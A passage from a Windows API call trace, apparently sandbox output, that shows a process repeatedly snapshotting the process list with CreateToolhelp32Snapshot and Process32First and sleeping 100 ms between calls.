out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.566] Sleep (dwMilliseconds=0x64) [0290.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0290.587] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.698] Sleep (dwMilliseconds=0x64) [0290.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0290.721] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.845] Sleep (dwMilliseconds=0x64) [0290.847] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0290.864] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.008] Sleep (dwMilliseconds=0x64) [0291.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0291.025] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.157] Sleep (dwMilliseconds=0x64) [0291.159] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x948 [0291.177] Process32First (in: hSnapshot=0x948, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.269] Sleep (dwMilliseconds=0x64) [0291.321] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0291.334] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.431] Sleep (dwMilliseconds=0x64) [0291.433] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0291.480] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.550] Sleep (dwMilliseconds=0x64) [0291.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0291.564] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.659] Sleep (dwMilliseconds=0x64) [0291.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0291.719] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.822] Sleep (dwMilliseconds=0x64) [0291.835] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0291.850] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.960] Sleep (dwMilliseconds=0x64) [0291.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0291.973] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.038] Sleep (dwMilliseconds=0x64) [0292.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0292.052] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.137] Sleep (dwMilliseconds=0x64) [0292.146] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0292.159] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.257] Sleep (dwMilliseconds=0x64) [0292.268] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0292.285] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.409] Sleep (dwMilliseconds=0x64) [0292.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0292.425] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.536] Sleep (dwMilliseconds=0x64) [0292.540] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0292.556] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.689] Sleep (dwMilliseconds=0x64) [0292.691] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0292.737] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.828] Sleep (dwMilliseconds=0x64) [0292.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0292.846] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.084] Sleep (dwMilliseconds=0x64) [0293.086] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.108] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.215] Sleep (dwMilliseconds=0x64) [0293.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.229] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.331] Sleep (dwMilliseconds=0x64) [0293.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.346] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.436] Sleep (dwMilliseconds=0x64) [0293.438] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.462] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.529] Sleep (dwMilliseconds=0x64) [0293.530] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.576] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.646] Sleep (dwMilliseconds=0x64) [0293.648] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.661] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.757] Sleep (dwMilliseconds=0x64) [0293.759] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.773] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.871] Sleep (dwMilliseconds=0x64) [0293.879] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0293.892] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.986] Sleep (dwMilliseconds=0x64) [0293.995] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.037] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.159] Sleep (dwMilliseconds=0x64) [0294.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.199] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.303] Sleep (dwMilliseconds=0x64) [0294.312] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.325] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.416] Sleep (dwMilliseconds=0x64) [0294.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.431] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.500] Sleep (dwMilliseconds=0x64) [0294.501] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.536] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.619] Sleep (dwMilliseconds=0x64) [0294.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.673] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.760] Sleep (dwMilliseconds=0x64) [0294.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.781] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.855] Sleep (dwMilliseconds=0x64) [0294.866] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0294.878] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.996] Sleep (dwMilliseconds=0x64) [0294.997] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.012] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.125] Sleep (dwMilliseconds=0x64) [0295.138] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.155] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.289] Sleep (dwMilliseconds=0x64) [0295.293] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.308] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.381] Sleep (dwMilliseconds=0x64) [0295.398] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.411] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.508] Sleep (dwMilliseconds=0x64) [0295.510] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.524] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.609] Sleep (dwMilliseconds=0x64) [0295.611] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.626] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.708] Sleep (dwMilliseconds=0x64) [0295.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.724] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.791] Sleep (dwMilliseconds=0x64) [0295.792] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.805] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.898] Sleep (dwMilliseconds=0x64) [0295.901] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0295.912] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.025] Sleep (dwMilliseconds=0x64) [0296.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.039] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.137] Sleep (dwMilliseconds=0x64) [0296.138] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.154] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.229] Sleep (dwMilliseconds=0x64) [0296.238] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.297] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.369] Sleep (dwMilliseconds=0x64) [0296.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.385] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.512] Sleep (dwMilliseconds=0x64) [0296.522] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.537] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.648] Sleep (dwMilliseconds=0x64) [0296.650] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.662] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.771] Sleep (dwMilliseconds=0x64) [0296.773] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.785] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.866] Sleep (dwMilliseconds=0x64) [0296.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0296.899] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.991] Sleep (dwMilliseconds=0x64) [0296.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0297.005] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.090] Sleep (dwMilliseconds=0x64) [0297.095] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0297.107] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.251] Sleep (dwMilliseconds=0x64) [0297.252] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14ac [0297.283] Process32First (in: hSnapshot=0x14ac, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.354] Sleep (dwMilliseconds=0x64) [0297.462] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0297.537] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.603] Sleep (dwMilliseconds=0x64) [0297.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0297.654] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.760] Sleep (dwMilliseconds=0x64) [0297.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0297.776] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.879] Sleep (dwMilliseconds=0x64) [0297.881] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0297.892] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.987] Sleep (dwMilliseconds=0x64) [0297.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0298.001] Process32First (in: hSnapshot=0x21cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0298.065] Sleep 